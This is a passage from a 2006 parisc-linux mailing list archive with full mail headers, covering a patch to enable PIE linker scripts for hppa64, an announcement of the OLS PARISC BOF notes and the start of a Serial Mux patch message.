j7LZQte1uHlgTWf1GJj+5rmhhsCxx7y2nvXb8F94eHEGK2zOEoaqm5y0UQI6buPi
INg6bseFgqchdjncpmeKlgEzEUfjdrccSkWKxQgyrMAhlBRiGmgloeMZMiRHkvPe
lVTLS1FURUThEOBTgbF2xkWRfAFbkouew36YMCneSLWsHv+2I4k6AaPNRnmX5YfD
2kVu/tM5KmJkmKf2LYDIpYfJq2/hC6qFGvJf7W7CX2mYo71hrOZb3+Ri1VrvNLzU
BC9CMn+JFatz9JYyMPnT9/oGONLSdb3Nyv6c2E3hJ56UZUCz2d0OCQ9SFPbb7CAf
uVclsEFeSCFfrDbLPVq+HnskVioqvA8lB3QNYMFUnCsGU+NCySpJzliuCN45HM3p
lfxYy+zfgP2Cm8O6sr5RgMFe5dJOgJc3dd6P5t1b5p0wFRILSR8IG8Wg18PAqk7h
53l0+zti1W03YrEOHtnIiVIWFChgHYXD6jjX45n8z42WTlKMaPjRWzw2+S01NXYk
lO5POlxG05w=
=blu5
-----END PGP SIGNATURE-----

--nextPart39863287.3X00dBzZSq--

--===============0033293297==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0033293297==--



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [patch] enable pie scripts for hppa64
Date: Wed, 9 Aug 2006 11:54:34 -0400
Organization: wh0rd.org
Lines: 67
Approved: news@gmane.org
Message-ID: <200608091154.35852.vapier@gentoo.org>
References: <200608090013.09789.vapier@gentoo.org>
	<119aab440608090746o2341650ar6bfb0167057ffa16@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1741181574=="
X-Trace: ger.gmane.org 1416624153 20666 80.91.229.3 (22 Nov 2014 02:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2006 15:55:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 09 Aug 2006 17:55:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 861727D6F8;
	Wed,  9 Aug 2006 09:55:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31861-08; Wed, 9 Aug 2006 09:55:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBF327D6F9;
	Wed,  9 Aug 2006 09:55:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F32C97D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 09:55:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31861-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Aug 2006 09:55:06 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id B71DC7D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 09:55:06 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id B3CBA64154
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 15:54:26 +0000 (UTC)
Original-Received: (qmail 19475 invoked from network); 9 Aug 2006 11:52:22 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 9 Aug 2006 11:52:22 -0400
User-Agent: KMail/1.9.3
In-Reply-To: <119aab440608090746o2341650ar6bfb0167057ffa16@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VTLvcDY0TiEtQKyUaGRws7d1ZUVSRJfK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23891

--===============1741181574==
Content-Type: multipart/signed; boundary="nextPart17803731.9HtcG1PI9g";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart17803731.9HtcG1PI9g
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Wednesday 09 August 2006 10:46, Carlos O'Donell wrote:
> On 8/9/06, Mike Frysinger <vapier@gentoo.org> wrote:
> > ok to apply ?  i dont want to step on anyone's toes ...
>
> Don't worry about stepping on toes! You are doing good work looking
> for missing hppa features. Your patch looks good. Unfortunately we
> don't have an hppa64-linux userspace to take advantage of this, and I
> don't know if HPUX supports -fPIE and -pie.

right, i wasnt expecting a pie script to suddenly make everything work, but=
 i=20
know of no disadvantages and it would make [future] development easier

> Have you posted this on binutils for Dave to approve?

i posted it twice so far and havent heard back which is why i forwarded my=
=20
last one from July to the parisc list
=2Dmike

--nextPart17803731.9HtcG1PI9g
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.4 (GNU/Linux)

iQIVAwUARNoFO0FjO5/oN/WBAQJQxhAAyZ2mkM47Fh8/S1kf69Wamd0EMW5y+daW
0FIqSqHWgBO+lzN/C5FbSlqL7y9yy9uDA2Lo5DJSKCf8CjP4XJtLcYouVqv8AxDY
ir3S18p+d2O49jUTi4+ddS6TKrpQCBkptvU80QjWTEUQov600bufZfO3iteDnikS
KXO0mBip36hi6rA2Mphbi8qc03+t1UcuDa97DHIv1HJbdDhqhBDeyytpJnk56C9Q
aGt+bFTewdXlwXA9Cb1BiXsHPfMtYDzMXyUF7/7lPRq0ZP0WBumkZYgjwH2DBOjP
UvZza2ELUrK0km/uCEjmsIStoTVfmkzBdEuG5UgPyt1b9iAEkmzMNn4bQo9sgLUe
+ime0qQdAjQ1+ZuBG8flOgnES/8kFqAu7vaukqoYJakG+fs5SBP1ya2TTNdfhLIf
nTonO7hNUpR39wplRmQjO0IXakws9gEmjufJ6Ha/Uow14N34oBl4PFy5qYhdxziq
5ab+Pxb22DLbF38bpx8DkGQMTWPczXwgdTW4nH6dIVJT6nhUpW/+P1aIuP5rM+td
WsiRY9VbGqtqmQRfkIQTixvS9dzB3UMrpXFJL5Chr8M20iIcIIHIWx5AtRYjfgj2
nvRAazkmwswqmECsD67XahKlXfc11LYoUxxMH/p180aA6TtxOmfbSYTFRICYaIRl
rX4Ys2KK6c8=
=nk0z
-----END PGP SIGNATURE-----

--nextPart17803731.9HtcG1PI9g--

--===============1741181574==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1741181574==--



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [patch] enable pie scripts for hppa64
Date: Wed, 9 Aug 2006 14:49:43 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200608091849.k79InheU010485@hiauly1.hia.nrc.ca>
References: <200608090013.09789.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624153 20671 80.91.229.3 (22 Nov 2014 02:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2006 18:49:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 09 Aug 2006 20:49:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FCC37D6F8;
	Wed,  9 Aug 2006 12:49:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01367-06; Wed, 9 Aug 2006 12:49:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8AF37D6F9;
	Wed,  9 Aug 2006 12:49:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 381497D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 12:49:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01181-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Aug 2006 12:49:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EC39D7D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 12:49:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k79Inhcd010486;
	Wed, 9 Aug 2006 14:49:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k79InheU010485;
	Wed, 9 Aug 2006 14:49:43 -0400 (EDT)
In-Reply-To: <200608090013.09789.vapier@gentoo.org> from "Mike Frysinger" at
	Aug 9, 2006 00:13:09 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AUuoZCASeSE5SL6WZHQh5wh2IGRvb4D8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23892

> ld/emulparams/hppalinux.sh was updated not too long ago to enable pie
>  scripts, but hppa64linux.sh was skipped ... any reason to not do this ?

Have you tested this on hpux?  Inspite of the script's name, its
main use is on hpux.  There's no 64-bit runtime yet and as far as
I know PIE isn't used for kernel builds..

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OLS PARISC BOF 2006 Notes.
Date: Sat, 12 Aug 2006 15:17:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440608121217s1e99c93ei4ec6c264267e30d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624153 20677 80.91.229.3 (22 Nov 2014 02:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:33 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2006 19:17:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 12 Aug 2006 21:17:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 110227D676;
	Sat, 12 Aug 2006 13:17:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26614-05; Sat, 12 Aug 2006 13:17:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27FFD7D677;
	Sat, 12 Aug 2006 13:17:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F76C7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:17:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26450-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:17:39 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190])
	by free.linux.hp.com (Postfix) with ESMTP id 18C3A7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:17:38 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id g2so1485489nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 12:17:37 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=EsDJFrKHaCkR1Y4IYVp5N5vVv5dOVCvtwhDp+TofwkzbF3HBsTfwuOmYGWSPLstM6Lzjh777DPAXOeg/pgJ0psMpCsvkxUqfKk2GWgDzyO6CcQKcE8TguN+/x0Nk6rmK1jws9x0ttmn2ue1W5pL3Kq8cUfsiS0Vd84HBLWXDBZQ=
Original-Received: by 10.78.140.17 with SMTP id n17mr2680057hud;
	Sat, 12 Aug 2006 12:17:37 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sat, 12 Aug 2006 12:17:37 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 44cbf5b8c899e5ba
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OU22CWdUbHIyX63NNjQ05DMqJihyalB5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23893

parisc-linux,

Every year we hold a parisc-linux BOF at
OLS (http://www.linuxsymposium.org)
I recently transcribed the notes from OLS 2006.

http://wiki.parisc-linux.org/OLS_20PARISC_20BOF_202006

Please read them, and if you feel daring try to work
on some of those important issues :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OLS PARISC BOF 2006 Notes.
Date: Sat, 12 Aug 2006 15:57:54 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20060812195754.GA4800@tachyon.int.mcmartin.ca>
References: <119aab440608121217s1e99c93ei4ec6c264267e30d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624154 20678 80.91.229.3 (22 Nov 2014 02:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:34 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2006 19:58:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 12 Aug 2006 21:58:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6A407D682;
	Sat, 12 Aug 2006 13:58:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26996-05; Sat, 12 Aug 2006 13:58:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3B367D683;
	Sat, 12 Aug 2006 13:58:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9372E7D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:58:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27007-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:57:59 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 65E937D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Aug 2006 13:57:59 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 540395840B7;
	Sat, 12 Aug 2006 15:57:58 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E5AAF5840B6;
	Sat, 12 Aug 2006 15:57:56 -0400 (EDT)
Original-Received: from tachyon.int.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8A96823E01;
	Sat, 12 Aug 2006 15:57:56 -0400 (EDT)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 161EFD6C15; Sat, 12 Aug 2006 15:57:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440608121217s1e99c93ei4ec6c264267e30d3@mail.gmail.com>
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4AD4bHeSLi5nE/fRZWtpClZjZml1ZNjv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23894

On Sat, Aug 12, 2006 at 03:17:37PM -0400, Carlos O'Donell wrote:
> Please read them, and if you feel daring try to work
> on some of those important issues :)
>

Thanks for taking the time to transcribe this!

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A small patch about Serial Mux availability for D
	class remote control card.
Date: Thu, 17 Aug 2006 12:19:44 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <J450OW$880D1F7554C9CF9EF935A4C7BB4ACCD6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624154 20683 80.91.229.3 (22 Nov 2014 02:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:34 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2006 10:20:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 17 Aug 2006 12:20:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2B5B7D787;
	Thu, 17 Aug 2006 04:19:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30492-04; Thu, 17 Aug 2006 04:19:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5C0B7D780;
	Thu, 17 Aug 2006 04:19:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C3117D762
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Aug 2006 04:19:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30492-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Aug 2006 04:19:52 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id EB0217D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Aug 2006 04:19:51 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id k7HAJiN14534
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 17 Aug 2006 12:19:44 +0200
X-Sensitivity: 3
